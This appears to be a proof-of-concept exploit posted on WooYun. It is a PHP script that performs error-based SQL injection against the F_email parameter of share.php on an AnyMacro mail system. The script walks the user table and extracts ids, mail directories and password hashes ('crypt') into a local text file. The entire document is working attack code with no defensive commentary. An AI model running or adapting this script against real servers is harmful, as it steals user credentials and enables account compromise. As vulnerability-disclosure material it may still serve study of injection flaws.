WooYun.org

<?php
    if ( ! isset($argv[1]))
    {
	    exit("\nUsage: php {$argv[0]} http://www.target.com 0\n\n");
    }
    $target = $argv[1];
    $start = $argv[2];
    $cols = array('id', 'maildir', 'crypt');
    $uri_template = "/share.php?F_email=1%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+{col}+from+user+limit+{num},1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/360_test";
    $match_regex = "/Duplicate entry '\|(.*)\|1' for key/";
    $filename = 'anymacro_'. md5($target) . '.txt';
    $end = FALSE;
    $i = $start;
    while ( ! $end)
    {
	    $uri = str_replace('{num}', $i, $uri_template);
	    $line = $i;
	    echo "[$i]";
	    foreach ($cols AS $col)
	    {
		    $url = $target . str_replace('{col}', $col, $uri);
		    $data = file_get_contents($url);
		    if (preg_match($match_regex, $data, $match))
		    {
			    //print_r($match);
			    echo " {$match[1]}";
			    $line .= " {$match[1]}";
		    }
		    else
		    {
			    $end = TRUE;
		    }
		    //echo $data;
		    //exit;
	    }
	    $line .= "\n";
	    echo "\n";
	    file_put_contents($filename, $line, FILE_APPEND);
	    $i++;
    }
    echo "\n\n-------------------------------------------\nEND~~~\n";